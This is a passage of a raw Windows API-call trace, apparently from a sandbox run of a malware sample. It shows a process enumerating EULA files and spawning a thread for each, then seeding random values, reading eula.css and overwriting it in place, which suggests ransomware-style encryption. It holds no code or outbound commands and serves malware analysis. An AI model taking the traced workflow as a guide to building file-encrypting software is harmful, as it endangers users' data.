	[0086.967] wcscmp (_String1="EULA_ru-ru.htm", _String2=".") returned 1
	[0086.967] wcscmp (_String1="EULA_ru-ru.htm", _String2="..") returned 1
	[0086.967] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d82e50
	[0086.967] wcscpy (in: _Dest=0x2d82e50, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.967] wcscat (in: _Dest=0x2d82e50, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.967] wcscat (in: _Dest=0x2d82e50, _Source="EULA_ru-ru.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_ru-ru.htm"
	[0086.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d82e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19e8
	[0086.968] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x14021, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sk-sk.htm", cAlternateFileName="EULA_S~1.HTM")) returned 1
	[0086.968] wcscmp (_String1="EULA_sk-sk.htm", _String2=".") returned 1
	[0086.968] wcscmp (_String1="EULA_sk-sk.htm", _String2="..") returned 1
	[0086.968] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d82f40
	[0086.968] wcscpy (in: _Dest=0x2d82f40, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.968] wcscat (in: _Dest=0x2d82f40, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.968] wcscat (in: _Dest=0x2d82f40, _Source="EULA_sk-sk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sk-sk.htm"
	[0086.968] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d82f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19ec
	[0086.969] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5cfdc2, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5cfdc2, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1026f, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sl-si.htm", cAlternateFileName="EULA_S~2.HTM")) returned 1
	[0086.969] wcscmp (_String1="EULA_sl-si.htm", _String2=".") returned 1
	[0086.969] wcscmp (_String1="EULA_sl-si.htm", _String2="..") returned 1
	[0086.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d82b08
	[0086.969] wcscpy (in: _Dest=0x2d82b08, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.969] wcscat (in: _Dest=0x2d82b08, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.969] wcscat (in: _Dest=0x2d82b08, _Source="EULA_sl-si.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sl-si.htm"
	[0086.969] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d82b08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f0
	[0086.969] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12720, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sr-latn-cs.htm", cAlternateFileName="EULA_S~3.HTM")) returned 1
	[0086.969] wcscmp (_String1="EULA_sr-latn-cs.htm", _String2=".") returned 1
	[0086.969] wcscmp (_String1="EULA_sr-latn-cs.htm", _String2="..") returned 1
	[0086.969] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x74) returned 0x47bd590
	[0086.969] wcscpy (in: _Dest=0x47bd590, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.969] wcscat (in: _Dest=0x47bd590, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.969] wcscat (in: _Dest=0x47bd590, _Source="EULA_sr-latn-cs.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sr-latn-cs.htm"
	[0086.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x47bd590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f4
	[0086.970] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x112f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_sv-se.htm", cAlternateFileName="EULA_S~4.HTM")) returned 1
	[0086.970] wcscmp (_String1="EULA_sv-se.htm", _String2=".") returned 1
	[0086.970] wcscmp (_String1="EULA_sv-se.htm", _String2="..") returned 1
	[0086.970] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d830a8
	[0086.970] wcscpy (in: _Dest=0x2d830a8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.970] wcscat (in: _Dest=0x2d830a8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.970] wcscat (in: _Dest=0x2d830a8, _Source="EULA_sv-se.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_sv-se.htm"
	[0086.970] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d830a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f8
	[0086.971] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5e364e, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5e364e, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x3e0c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_th-th.htm", cAlternateFileName="EULA_T~1.HTM")) returned 1
	[0086.971] wcscmp (_String1="EULA_th-th.htm", _String2=".") returned 1
	[0086.971] wcscmp (_String1="EULA_th-th.htm", _String2="..") returned 1
	[0086.971] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d82fb8
	[0086.971] wcscpy (in: _Dest=0x2d82fb8, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.971] wcscat (in: _Dest=0x2d82fb8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.971] wcscat (in: _Dest=0x2d82fb8, _Source="EULA_th-th.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_th-th.htm"
	[0086.971] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d82fb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19fc
	[0086.972] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x12581, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_tr-tr.htm", cAlternateFileName="EULA_T~2.HTM")) returned 1
	[0086.972] wcscmp (_String1="EULA_tr-tr.htm", _String2=".") returned 1
	[0086.972] wcscmp (_String1="EULA_tr-tr.htm", _String2="..") returned 1
	[0086.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d833f0
	[0086.972] wcscpy (in: _Dest=0x2d833f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.972] wcscat (in: _Dest=0x2d833f0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.972] wcscat (in: _Dest=0x2d833f0, _Source="EULA_tr-tr.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_tr-tr.htm"
	[0086.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d833f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a00
	[0086.972] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x411eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_uk-ua.htm", cAlternateFileName="EULA_U~1.HTM")) returned 1
	[0086.972] wcscmp (_String1="EULA_uk-ua.htm", _String2=".") returned 1
	[0086.972] wcscmp (_String1="EULA_uk-ua.htm", _String2="..") returned 1
	[0086.972] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d829a0
	[0086.972] wcscpy (in: _Dest=0x2d829a0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.973] wcscat (in: _Dest=0x2d829a0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.973] wcscat (in: _Dest=0x2d829a0, _Source="EULA_uk-ua.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_uk-ua.htm"
	[0086.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d829a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a04
	[0086.973] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5ed27d, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5ed27d, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x1ed21, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-cn.htm", cAlternateFileName="EULA_Z~1.HTM")) returned 1
	[0086.973] wcscmp (_String1="EULA_zh-cn.htm", _String2=".") returned 1
	[0086.973] wcscmp (_String1="EULA_zh-cn.htm", _String2="..") returned 1
	[0086.973] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d836c0
	[0086.973] wcscpy (in: _Dest=0x2d836c0, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.973] wcscat (in: _Dest=0x2d836c0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.973] wcscat (in: _Dest=0x2d836c0, _Source="EULA_zh-cn.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-cn.htm"
	[0086.973] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d836c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a08
	[0086.974] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-hk.htm", cAlternateFileName="EULA_Z~2.HTM")) returned 1
	[0086.974] wcscmp (_String1="EULA_zh-hk.htm", _String2=".") returned 1
	[0086.974] wcscmp (_String1="EULA_zh-hk.htm", _String2="..") returned 1
	[0086.974] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d83468
	[0086.974] wcscpy (in: _Dest=0x2d83468, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.974] wcscat (in: _Dest=0x2d83468, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.974] wcscat (in: _Dest=0x2d83468, _Source="EULA_zh-hk.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-hk.htm"
	[0086.974] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d83468, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0c
	[0086.975] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-tw.htm", cAlternateFileName="EULA_Z~3.HTM")) returned 1
	[0086.975] wcscmp (_String1="EULA_zh-tw.htm", _String2=".") returned 1
	[0086.975] wcscmp (_String1="EULA_zh-tw.htm", _String2="..") returned 1
	[0086.975] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x6a) returned 0x2d83030
	[0086.975] wcscpy (in: _Dest=0x2d83030, _Source="C:\\Windows10Upgrade\\resources\\ux\\EULA" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA"
	[0086.975] wcscat (in: _Dest=0x2d83030, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\"
	[0086.975] wcscat (in: _Dest=0x2d83030, _Source="EULA_zh-tw.htm" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm") returned="C:\\Windows10Upgrade\\resources\\ux\\EULA\\EULA_zh-tw.htm"
	[0086.975] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x2d83030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a10
	[0086.976] FindNextFileW (in: hFindFile=0x477a828, lpFindFileData=0x4f27548 | out: lpFindFileData=0x4f27548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea5f6eb5, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea5f6eb5, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x1939000, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x23ec4, dwReserved0=0x0, dwReserved1=0x0, cFileName="EULA_zh-tw.htm", cAlternateFileName="EULA_Z~3.HTM")) returned 0
	[0086.976] FindClose (in: hFindFile=0x477a828 | out: hFindFile=0x477a828) returned 1
	[0086.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f27548) returned 1
	[0086.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabe48) returned 1
	[0086.976] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dabd98) returned 1

Thread:
	id = 1189
	os_tid = 0x1f08

	[0086.336] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css")) returned 0x20
	[0086.337] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css", dwFileAttributes=0x20) returned 1
	[0086.337] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css" (normalized: "c:\\windows10upgrade\\resources\\ux\\eula.css"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x18f4
	[0086.337] GetFileSizeEx (in: hFile=0x18f4, lpFileSize=0x2993f7e8 | out: lpFileSize=0x2993f7e8*=82) returned 1
	[0086.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0086.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a58
	[0086.338] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0086.338] NtQuerySystemTime (in: CurrentTime=0x2993f748 | out: CurrentTime=0x2993f748*=132251868130694250) returned 0x0
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xd85d24af
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x8df6f2a
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x302630a
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x138d7489
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x1ba9692f
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x3ab41780
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x8f51b9bb
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x75456410
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x8948cc23
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x908ed63e
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x3b0f24b3
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x2ae58bc0
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x3cb42b51
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x40894a15
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x98e2a8f8
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xb2a13479
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xe27b8721
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x4fa4c051
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x8ce10e1a
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x8b9e1077
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xbe138c45
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xd71fe6d6
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x1ac1d1b
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x448e5d6c
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x662f6565
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xd4f93460
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x557e2086
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x1e819c93
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0x9feecec5
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xb74be343
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xfc1eb8cd
	[0086.338] RtlRandom (in: Seed=0x2993f754 | out: Seed=0x2993f754) returned 0xa44d0a9b
	[0086.345] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781a80
	[0086.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781b20
	[0086.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0086.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0086.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04540
	[0086.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0086.347] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0086.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x504b048
	[0086.347] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0086.347] ReadFile (in: hFile=0x18f4, lpBuffer=0x504b048, nNumberOfBytesToRead=0x52, lpNumberOfBytesRead=0x2993f744, lpOverlapped=0x0 | out: lpBuffer=0x504b048*, lpNumberOfBytesRead=0x2993f744*=0x52, lpOverlapped=0x0) returned 1
	[0086.348] SetFilePointerEx (in: hFile=0x18f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0086.348] WriteFile (in: hFile=0x18f4, lpBuffer=0x4f9afc8*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2993f740, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesWritten=0x2993f740*=0x52, lpOverlapped=0x0) returned 1
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781990
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x504b048) returned 1
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04540) returned 1
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb3d8) returned 1
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781918
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfb3d8
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e04ae0
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0086.350] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x1d) returned 0x4781828
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0086.350] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2d76d40
